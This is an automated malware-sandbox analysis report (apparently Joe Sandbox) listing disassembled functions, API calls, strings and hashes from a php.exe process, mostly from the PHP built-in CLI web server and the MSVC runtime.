Instruction ID: a788c0354963012951fdd86a389009420fc436681c24406acf5ec0f39c37e000
Opcode Fuzzy Hash: 2d54bd63f170202ab04089bff46cbf94a927c3c721595b4fc28526d501e83e49
Instruction Fuzzy Hash: 0C911B26B1CB42C5EB11BF69D854278A779AB48BA4F844036DE0E53794DF3CE466C320

Function 00007FF7498C3C60 Relevance: 47.6, APIs: 25, Strings: 2, Instructions: 393COMMON

Download Yara Rule

APIs

smart_str_realloc@@16.PHP8TS ref: 00007FF7498C3CC3
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C3CCB
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C3D10
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C3D18
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C3DF5
memmove.VCRUNTIME140 ref: 00007FF7498C3E17
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C3E46

Strings

Unknown Status Code, xrefs: 00007FF7498C40E1
HTTP, xrefs: 00007FF7498C3CDE

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: smart_str_realloc@@16$smart_str_erealloc@@16$memmove
String ID: HTTP$Unknown Status Code
API String ID: 1291240017-3405413774
Opcode ID: 3660c69ec9d2100ce60dec02188879966e183b12cec36f0991f99f15e29da53d
Instruction ID: a1f296962da3f02168740a348b917abab1c11c0484a7c5a08f9ed09e3f2b3306
Opcode Fuzzy Hash: 3660c69ec9d2100ce60dec02188879966e183b12cec36f0991f99f15e29da53d
Instruction Fuzzy Hash: 7FF14A62A0CB46C2EA14BF2DD554269E7B8EB94FC4F944432CA0D077A9DF3CE466D321

Function 00007FF7498C41C0 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 208COMMON

Download Yara Rule

APIs

zend_hash_str_find@@24.PHP8TS ref: 00007FF7498C41FB
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C4234
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C423C
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C4290
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C4298
memmove.VCRUNTIME140 ref: 00007FF7498C42B3
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C42E5
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C42ED
gettimeofday.PHP8TS ref: 00007FF7498C4314
php_format_date.PHP8TS ref: 00007FF7498C4334
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C4360
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C4368
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C43B9
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C43C1
memmove.VCRUNTIME140 ref: 00007FF7498C43DC
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C4409
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C4411
_efree@@8.PHP8TS ref: 00007FF7498C444B
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C4486
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C448E

Strings

Host: , xrefs: 00007FF7498C4242
host, xrefs: 00007FF7498C41E5
D, d M Y H:i:s, xrefs: 00007FF7498C432D
Date: , xrefs: 00007FF7498C436E
GMT, xrefs: 00007FF7498C4417

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: smart_str_erealloc@@16smart_str_realloc@@16$memmove$_efree@@8gettimeofdayphp_format_datezend_hash_str_find@@24
String ID: GMT$D, d M Y H:i:s$Date: $Host: $host
API String ID: 1682851168-854820404
Opcode ID: 129281e655ddf9795ca426d980f0d66eb4df6fa436e6d10b183bd275987dd2e2
Instruction ID: 309f68c2bfa8d1669d08b3c6926a4baac90983cfc99b6618e0a6b16807a1626e
Opcode Fuzzy Hash: 129281e655ddf9795ca426d980f0d66eb4df6fa436e6d10b183bd275987dd2e2
Instruction Fuzzy Hash: 38A12866A0DB42C2EB14BF29D554228B3B9FB98F84B544532DE1D477A8DF3CE4A5C320

Function 00007FF7498C8C70 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 216stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF7498C8CAC
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF7498C8CDE
strchr.VCRUNTIME140 ref: 00007FF7498C8D15
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF7498C8D36
zend_strndup@@16.PHP8TS ref: 00007FF7498C8D69
_efree@@8.PHP8TS ref: 00007FF7498C8E05
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8E0E
php_set_sock_blocking.PHP8TS ref: 00007FF7498C8E1E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8E3C
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 00007FF7498C8E51
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C8E61
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C8E71

Part of subcall function 00007FF7498C1010: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C1047

_zend_hash_init@@32.PHP8TS ref: 00007FF7498C8EDE
zend_strndup@@16.PHP8TS ref: 00007FF7498C8F00
zend_strndup@@16.PHP8TS ref: 00007FF7498C8F30
_zend_hash_init@@32.PHP8TS ref: 00007FF7498C8F62
zend_hash_str_add@@32.PHP8TS ref: 00007FF7498C8FB9
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C8FDF
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C8FF2

Strings

Failed to make server socket non-blocking, xrefs: 00007FF7498C8E28
Invalid address: %s, xrefs: 00007FF7498C8FE8
PHP_CLI_SERVER_WORKERS, xrefs: 00007FF7498C8E47
forking is not supported on this platform, xrefs: 00007FF7498C8E6A
Failed to listen on %s:%d (reason: %s), xrefs: 00007FF7498C8DD7

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: zend_strndup@@16$__acrt_iob_func_zend_hash_init@@32fprintffreestrchrstrtol$__stdio_common_vfprintf_efree@@8getenvphp_set_sock_blockingzend_hash_str_add@@32
String ID: Failed to listen on %s:%d (reason: %s)$Failed to make server socket non-blocking$Invalid address: %s$PHP_CLI_SERVER_WORKERS$forking is not supported on this platform
API String ID: 2318142898-2925817685
Opcode ID: d4bc668cacf4ce87a68d813501a73dd0acabbbd055e5f2502dfbffcebc98f243
Instruction ID: 78886d2bd8c875433b353b10d19b930078b2e4d8318164fe25a823487c937ec2
Opcode Fuzzy Hash: d4bc668cacf4ce87a68d813501a73dd0acabbbd055e5f2502dfbffcebc98f243
Instruction Fuzzy Hash: EFA15E22A1DB86D2FB14BF19A4043A9E7A9FB45BA4F848231DA6D037D5DF3CE465C310

Function 00007FF7498C9470 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 213networkCOMMON

Download Yara Rule

APIs

__zend_malloc.PHP8TS ref: 00007FF7498C949C
accept.WS2_32 ref: 00007FF7498C94B0
WSAGetLastError.WS2_32 ref: 00007FF7498C94BF
WSAGetLastError.WS2_32 ref: 00007FF7498C94D5
_efree@@8.PHP8TS ref: 00007FF7498C9502
__zend_malloc.PHP8TS ref: 00007FF7498C95B7
memmove.VCRUNTIME140 ref: 00007FF7498C95E0
php_socket_strerror.PHP8TS ref: 00007FF7498C94E2

Part of subcall function 00007FF7498C6030: zend_vspprintf.PHP8TS ref: 00007FF7498C6066
Part of subcall function 00007FF7498C6030: _efree@@8.PHP8TS ref: 00007FF7498C6088

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C950B
php_set_sock_blocking.PHP8TS ref: 00007FF7498C9524
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9531
closesocket.WS2_32 ref: 00007FF7498C953A
__zend_malloc.PHP8TS ref: 00007FF7498C9563
php_network_populate_name_from_sockaddr.PHP8TS ref: 00007FF7498C9595
_efree@@8.PHP8TS ref: 00007FF7498C960A
_zend_hash_init@@32.PHP8TS ref: 00007FF7498C9681
_zend_hash_init@@32.PHP8TS ref: 00007FF7498C9696
zend_hash_index_update@@24.PHP8TS ref: 00007FF7498C96FD
zend_hash_index_find@@16.PHP8TS ref: 00007FF7498C9762

Strings

%s Accepted, xrefs: 00007FF7498C96A3
Failed to accept a client (reason: %s), xrefs: 00007FF7498C94EB

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __zend_malloc_efree@@8$ErrorLast_zend_hash_init@@32free$acceptclosesocketmemmovephp_network_populate_name_from_sockaddrphp_set_sock_blockingphp_socket_strerrorzend_hash_index_find@@16zend_hash_index_update@@24zend_vspprintf
String ID: %s Accepted$Failed to accept a client (reason: %s)
API String ID: 652531883-3364014137
Opcode ID: f2eae3aaf2169fe42d004c392480f2988ea9d1e544c5634b1c99ed9a1b50c2db
Instruction ID: 793e57e44805cb1acc25caced188fc6737293a24407b45c9a06b171dd50774ff
Opcode Fuzzy Hash: f2eae3aaf2169fe42d004c392480f2988ea9d1e544c5634b1c99ed9a1b50c2db
Instruction Fuzzy Hash: 6B914F76A08B81C6E714BF29E4446A9B3B8FB847A0F948135CB9E47790DF3DE4A5D310

Function 00007FFE1A52C7AC Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 289COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C83D
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C876
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C94A
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C95B
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C9BF
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C9CF
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CA1B
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CA2D
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CBA2

Part of subcall function 00007FFE1A52E728: Replicator::operator[].LIBVCRUNTIME ref: 00007FFE1A52E782

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CC24
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CC33

Strings

`anonymous namespace', xrefs: 00007FFE1A52CAFF

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID: `anonymous namespace'
API String ID: 3863519203-3062148218
Opcode ID: b6c8833087229f8ff0d58364892c90fb28097fc250b0c2ab6d56ce5395c29493
Instruction ID: 485ac97fbae885c96ed1dc13533c94b047d2a5fea9698cf54bcf1ca8e8cf1e65
Opcode Fuzzy Hash: b6c8833087229f8ff0d58364892c90fb28097fc250b0c2ab6d56ce5395c29493
Instruction Fuzzy Hash: 7AE14972A0CF82D9EB10CFA6E4801B977A1FB46B54F8041B7EA4D17A66DF38E554C740

Function 00007FF7498C91B0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 169networkstringCOMMON

Download Yara Rule

APIs

__zend_malloc.PHP8TS ref: 00007FF7498C91FE
_read.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C922A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C923D
strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C9245
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C926D
__zend_strdup.PHP8TS ref: 00007FF7498C924E

Part of subcall function 00007FF7498C6030: zend_vspprintf.PHP8TS ref: 00007FF7498C6066
Part of subcall function 00007FF7498C6030: _efree@@8.PHP8TS ref: 00007FF7498C6088

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9282
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C928B
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C92F8
send.WS2_32 ref: 00007FF7498C9345
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C936E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9377
send.WS2_32 ref: 00007FF7498C93E3
WSAGetLastError.WS2_32 ref: 00007FF7498C9419
zend_hash_index_del@@16.PHP8TS ref: 00007FF7498C9456

Strings

%s Closing, xrefs: 00007FF7498C9436

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: free$send$ErrorLast__zend_malloc__zend_strdup_close_efree@@8_errno_readstrerrorzend_hash_index_del@@16zend_vspprintf
String ID: %s Closing
API String ID: 1972148529-2100637938
Opcode ID: ca59df10b15f97131bfe11613ec40dd3ddb55263fee77ab41a4b870787dc6227
Instruction ID: 5a6ee4db6990784659bfce784212722804e1a3acbf76f99bcc9b5226dc3a1c5d
Opcode Fuzzy Hash: ca59df10b15f97131bfe11613ec40dd3ddb55263fee77ab41a4b870787dc6227
Instruction Fuzzy Hash: CC714A72A0DB42C6EA19BF29A450279F3B8FB49B94F845579CA5E07790DF3DE4708320

Function 00007FF7498C8020 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 343stringCOMMON

Download Yara Rule

APIs

smart_str_realloc@@16.PHP8TS ref: 00007FF7498C8191
smart_str_realloc@@16.PHP8TS ref: 00007FF7498C81F9
memmove.VCRUNTIME140 ref: 00007FF7498C8214
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C8231

Part of subcall function 00007FF7498C75E0: bsearch.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF7498C7648
Part of subcall function 00007FF7498C75E0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C76AE
Part of subcall function 00007FF7498C75E0: strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C76B6
Part of subcall function 00007FF7498C75E0: __zend_strdup.PHP8TS ref: 00007FF7498C76BF
Part of subcall function 00007FF7498C75E0: php_escape_html_entities_ex.PHP8TS ref: 00007FF7498C7713
Part of subcall function 00007FF7498C75E0: __zend_malloc.PHP8TS ref: 00007FF7498C7731
Part of subcall function 00007FF7498C75E0: ap_php_snprintf.PHP8TS ref: 00007FF7498C7763

Strings

t=UTF-8, xrefs: 00007FF7498C8277
text/, xrefs: 00007FF7498C821D
Type: , xrefs: 00007FF7498C81AC

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: smart_str_realloc@@16$__zend_malloc__zend_strdup_errnoap_php_snprintfbsearchmemmovephp_escape_html_entities_exstrerrorstrncmp
String ID: Type: $t=UTF-8$text/
API String ID: 2476624890-508784794
Opcode ID: 219f8213f5cc79b96c31693368551871eba4e521372a1bd6107eaef3ff0ace66
Instruction ID: 8610d4294e662b6bf4f2a0ab3bd176630d5a3276fb025738a52d0e392868255c
Opcode Fuzzy Hash: 219f8213f5cc79b96c31693368551871eba4e521372a1bd6107eaef3ff0ace66
Instruction Fuzzy Hash: F6F19C62B08B59C6FB04BF69D8442ACA7B9FB45B84F904136CE5D1B794CF38E462C350

Function 00007FFE1A52D5D0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFE1A528B30), ref: 00007FFE1A52DA36
DName::DName.LIBVCRUNTIME ref: 00007FFE1A52DA75
swprintf_s.PGOCR ref: 00007FFE1A52DA95
DName::DName.LIBVCRUNTIME ref: 00007FFE1A52DAA5
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52DAF5

Strings

nullptr, xrefs: 00007FFE1A52D7B9
`template-type-parameter-, xrefs: 00007FFE1A52DB16
NULL, xrefs: 00007FFE1A52D69D
`generic-class-parameter-, xrefs: 00007FFE1A52DB06
lambda, xrefs: 00007FFE1A52D994
`generic-method-parameter-, xrefs: 00007FFE1A52DAC2

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: NameName::$Name::operator+atolswprintf_s
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 2331677841-2441609178
Opcode ID: 02cc3120799feeee523a6e31c5e8f77ede782e7b6fd9332275c3751b0d8d0444
Instruction ID: d84cd7b324f9dfc5540dbebee406eea9f1fb9d9a7757f6f0aae3b7f5f05deb88
Opcode Fuzzy Hash: 02cc3120799feeee523a6e31c5e8f77ede782e7b6fd9332275c3751b0d8d0444
Instruction Fuzzy Hash: 70F16963F0CE42C4FB15ABE685941BC26A2AF56F64F0401F7DA4E26AB5DE3CA548C240

Function 00007FF7498C5D70 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 160COMMON

Download Yara Rule

APIs

php_win32_console_fileno_is_console.PHP8TS ref: 00007FF7498C5E15
php_win32_console_fileno_has_vt100.PHP8TS ref: 00007FF7498C5E24
zend_spprintf.PHP8TS ref: 00007FF7498C5EA8
zend_spprintf.PHP8TS ref: 00007FF7498C5ED8
zend_spprintf.PHP8TS ref: 00007FF7498C5F57
_efree@@8.PHP8TS ref: 00007FF7498C5F6F
_efree@@8.PHP8TS ref: 00007FF7498C5FDF
_efree@@8.PHP8TS ref: 00007FF7498C5FF2

Part of subcall function 00007FF7498C6030: zend_vspprintf.PHP8TS ref: 00007FF7498C6066
Part of subcall function 00007FF7498C6030: _efree@@8.PHP8TS ref: 00007FF7498C6088

_efree@@8.PHP8TS ref: 00007FF7498C6002

Strings

- %s, xrefs: 00007FF7498C5EC7
- %s in %s on line %d, xrefs: 00007FF7498C5F50
%s%s%s, xrefs: 00007FF7498C5FC6
%s [%d]: %s %s, xrefs: 00007FF7498C5E78

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8$zend_spprintf$php_win32_console_fileno_has_vt100php_win32_console_fileno_is_consolezend_vspprintf
String ID: - %s$ - %s in %s on line %d$%s [%d]: %s %s$%s%s%s
API String ID: 2680666100-2629286828
Opcode ID: f29ed2ed63fb801c7bf3eeb7f9548956393755c4ed14e6805a4989288eacaf68
Instruction ID: a3ab85831819f8a770eef40076004533edadb485913118dd6b59a7b9c67d2a73
Opcode Fuzzy Hash: f29ed2ed63fb801c7bf3eeb7f9548956393755c4ed14e6805a4989288eacaf68
Instruction Fuzzy Hash: AA714F32A0CB82C2EB60BF09E4446A9B3B8FB84B90F858136DA4D97754DF3CE565C750

Function 00007FF7498C2B39 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 117stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140 ref: 00007FF7498C2B78
_emalloc@@8.PHP8TS ref: 00007FF7498C2BB2
memmove.VCRUNTIME140 ref: 00007FF7498C2BDE
object_init_ex.PHP8TS ref: 00007FF7498C2BFA
zend_call_known_function.PHP8TS ref: 00007FF7498C2C74
zend_read_property.PHP8TS ref: 00007FF7498C2CC1
zend_objects_store_del@@8.PHP8TS ref: 00007FF7498C2D00
gc_possible_root@@8.PHP8TS ref: 00007FF7498C2D11
zend_print_zval.PHP8TS ref: 00007FF7498C2D45
zval_ptr_dtor.PHP8TS ref: 00007FF7498C2D6B
zval_ptr_dtor.PHP8TS ref: 00007FF7498C2D75

Strings

Exception: %s, xrefs: 00007FF7498C2CC7
message, xrefs: 00007FF7498C2CAC

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: zval_ptr_dtor$_emalloc@@8gc_possible_root@@8memmoveobject_init_exstrstrzend_call_known_functionzend_objects_store_del@@8zend_print_zvalzend_read_property
String ID: Exception: %s$message
API String ID: 3707280532-2516933299
Opcode ID: 697fa615da54bf2adc681ba011c9616f643d2a12a93e33b2775212efd4d0b561
Instruction ID: de6255e215c2d8d032c32cbaa096bf2b84e39fa8c486786c19b57b3c751bc7c9
Opcode Fuzzy Hash: 697fa615da54bf2adc681ba011c9616f643d2a12a93e33b2775212efd4d0b561
Instruction Fuzzy Hash: 4761FB35A0CB86C5EB10BF19D8443A8A774FB98B98F808632DA5D077A4DF7CE1A5D310

Function 00007FF7498C4D70 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 115stringCOMMON

Download Yara Rule

APIs

_estrndup@@16.PHP8TS ref: 00007FF7498C4DA7
toupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C4DD1
zend_spprintf.PHP8TS ref: 00007FF7498C4E04
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C4E14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C4E2E
php_register_variable_safe.PHP8TS ref: 00007FF7498C4E9F
php_register_variable_safe.PHP8TS ref: 00007FF7498C4F11
_efree@@8.PHP8TS ref: 00007FF7498C4F1A
_efree@@8.PHP8TS ref: 00007FF7498C4F28

Strings

HTTP, xrefs: 00007FF7498C4DE7
%s_%s, xrefs: 00007FF7498C4DF3
CONTENT_TYPE, xrefs: 00007FF7498C4E0A
CONTENT_LENGTH, xrefs: 00007FF7498C4E24

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8php_register_variable_safestrcmp$_estrndup@@16toupperzend_spprintf
String ID: %s_%s$CONTENT_LENGTH$CONTENT_TYPE$HTTP
API String ID: 2128054003-3041116971
Opcode ID: 117c798415cb49a4b41e6d7d1edf8e5a78bfa11e927b1eedf5904637312086ef
Instruction ID: a10ef420a4c018ab7a851202f537868516282670e48d2b6539c0238768fe3c22
Opcode Fuzzy Hash: 117c798415cb49a4b41e6d7d1edf8e5a78bfa11e927b1eedf5904637312086ef
Instruction Fuzzy Hash: 2B515166A0CB81C1EB10BF19E4402A9B7B9FB84B94F848132DE9D47758DF3CD565C720

Function 00007FF7498C35F0 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 87stringCOMMON

Download Yara Rule

APIs

zend_parse_parameters.PHP8TS ref: 00007FF7498C3616
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C3658
php_win32_cp_use_unicode.PHP8TS ref: 00007FF7498C3680
php_win32_cp_conv_ascii_to_w.PHP8TS ref: 00007FF7498C3693
php_win32_cp_conv_utf8_to_w.PHP8TS ref: 00007FF7498C36AA
GetACP.KERNEL32 ref: 00007FF7498C36B8
php_win32_cp_get_by_id.PHP8TS ref: 00007FF7498C36C0
php_win32_cp_conv_to_w.PHP8TS ref: 00007FF7498C36DF
SetConsoleTitleW.KERNEL32 ref: 00007FF7498C36F8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3705
php_error_docref.PHP8TS ref: 00007FF7498C373D

Strings

cli_set_process_title had an error: %s, xrefs: 00007FF7498C372F

Memory Dump Source

